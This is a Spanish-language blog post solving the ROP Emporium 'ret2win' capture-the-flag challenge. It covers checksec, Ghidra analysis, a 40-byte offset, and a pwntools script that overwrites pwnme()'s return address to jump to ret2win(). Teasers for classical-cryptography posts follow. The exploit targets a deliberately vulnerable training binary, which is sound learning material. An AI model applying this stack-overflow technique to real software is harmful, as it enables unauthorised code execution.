Ir al contenido principal

Binary Exploitation (XVIII): Solución Reto ROP Emporium "ret2win"

He encontrado un sitio para aprender ROP, ‘Return Oriented Programming’ (en español, Programación Orientada al Retorno), a través de una serie de desafíos diseñados para enseñar diversas técnicas.

En la medida que sea capaz de ir resolviéndolos iré poniendo las soluciones a los mismos. Utilizaré siempre la versión de 64 bits del desafío.

En este post la solución al reto que lleva por título "ret2win", y que, en mi opinión, presenta un nivel de dificultad bajo (★★☆☆).

- Enunciado:

- Solución:

1.- Se proporciona un ejecutable (ret2win); lo primero que hago es ejecutarlo y veo que es vulnerable a un ataque de desbordamiento de 'buffer' (en inglés, 'buffer overflow'):
2.- Compruebo los mecanismos de seguridad del binario utilizando ‘checksec’ y veo que ‘NX’ está habilitado, lo que significa que la pila es no ejecutable:
3.- Decompilo el binario usando ‘Ghidra’ y veo que en la función main() se realiza una llamada a la función pwnme():
En la función pwnme(), que es donde el programa es vulnerable a un desbordamiento de 'buffer', el 'buffer' tiene un tamaño de 32 bytes (0x20) y la dirección de retorno de la función pwnme() tendría un desplazamiento de 0x28 bytes (40) desde el inicio del buffer:
Además, el binario tiene una función ret2win(), a la que no se llama nunca, que muestra la flag:
4.- El plan de ataque consiste en sustituir la dirección de retorno de la función ‘pwnme()’ por la dirección de inicio de la función ‘ret2win’, lo que mostrará la flag.

5.- Creo el 'exploit' mediante un pequeño 'script' en python y lo ejecuto:

from pwn import *

# Indicar a pwntools el binario objetivo
elf = context.binary = ELF('ret2win')

# Relleno hasta la dirección de retorno de pwnme()
offset_padding = b'A'*40

# Dirección de inicio de ret2win()
info('%#x Dirección de inicio ret2win()', elf.symbols.ret2win)
ret2win = p64(elf.symbols.ret2win)

# Enviar
p = process(elf.path)
payload = offset_padding + ret2win
p.sendline(payload)

# Recibir e imprimir
print(p.recvall())

Comentarios

Entradas populares de este blog

Criptografía (I): cifrado Vigenère y criptoanálisis Kasiski

Hace unos días mi amigo Iñaki Regidor ( @Inaki_Regidor ), a quien dedico esta entrada :), compartió en las redes sociales un post titulado "Criptografía: el arte de esconder mensajes"  publicado en uno de los blogs de EiTB . En ese post se explican ciertos métodos clásicos para cifrar mensajes , entre ellos el cifrado de Vigenère , y , al final del mismo, se propone un reto consistente en descifrar un mensaje , lo que me ha animado a escribir este post sobre el método Kasiski  para atacar un cifrado polialfabético ( conociendo la clave descifrar el mensaje es muy fácil, pero lo que contaré en este post es la forma de hacerlo sin saberla ). El mensaje a descifrar es el siguiente: LNUDVMUYRMUDVLLPXAFZUEFAIOVWVMUOVMUEVMUEZCUDVSYWCIVCFGUCUNYCGALLGRCYTIJTRNNPJQOPJEMZITYLIAYYKRYEFDUDCAMAVRMZEAMBLEXPJCCQIEHPJTYXVNMLAEZTIMUOFRUFC Como ya he dicho el método de Vigenère es un sistema de sustitución polialfabético , lo que significa que, al contrario que en un sistema...

Criptografía (XXIII): cifrado de Hill (I)

En este post me propongo explicar de forma comprensible lo que he entendido sobre el cifrado de Hill , propuesto por el matemático Lester S. Hill , en 1929, y que se basa en emplear una matriz como clave  para cifrar un texto en claro y su inversa para descifrar el criptograma correspondiente . Hay tres cosas que me gustan de la criptografía clásica, además de que considero que ésta es muy didáctica a la hora de comprender los sistemas criptográficos modernos: la primera de ellas es que me "obliga" a repasar conceptos de matemáticas aprendidos hace mucho tiempo y, desgraciadamente, olvidados también hace demasiado tiempo, y, por consiguiente, que, como dice  Dani , amigo y coautor de este blog, me "obliga" a hacer "gimnasia mental"; la segunda es que, en la mayoría de las ocasiones, pueden cifrarse y descifrase los mensajes, e incluso realizarse el criptoanálisis de los criptogramas, sin más que un simple lápiz y papel, es decir, para mi es como un pasat...

Criptografía (CLXXXIV): Soluciones Retos criptografía de CyberOlympics 2017

En este post pongo las soluciones a los retos de  criptografía que he ido resolviendo de la edición del año 2017 de CyberOlympics , competición en modalidad  'on-line' , estilo  'Capture the Flag'  y formato  'Jeopardy'  dirigida a centros educativos y organizada por el Instituto Nacional de Ciberseguridad (INCIBE) en el marco de la actividad llamada CyberCamp. En esta edición la mayoría de los retos presentaron un  nivel  de dificultad bajo  ( ★ ★ ☆☆☆ ) , lo que entiendo adecuado por el colectivo al que van dirigidos. Las soluciones al resto de desafíos de criptografía de esta edición, cuyos archivos asociados tenga (no me han pasado todos) y que consiga resolver, las pondré en otra entrada. Reto 1 (Criptografía) : Enunciado : Todas las mañanas cuando me despierto, me miro en el espejo y no entiendo lo que veo. Hoy me he levantado dando un salto mortal y no voy a apartarme de mi “otro yo” hasta que no descubra el mensaje. Parece q...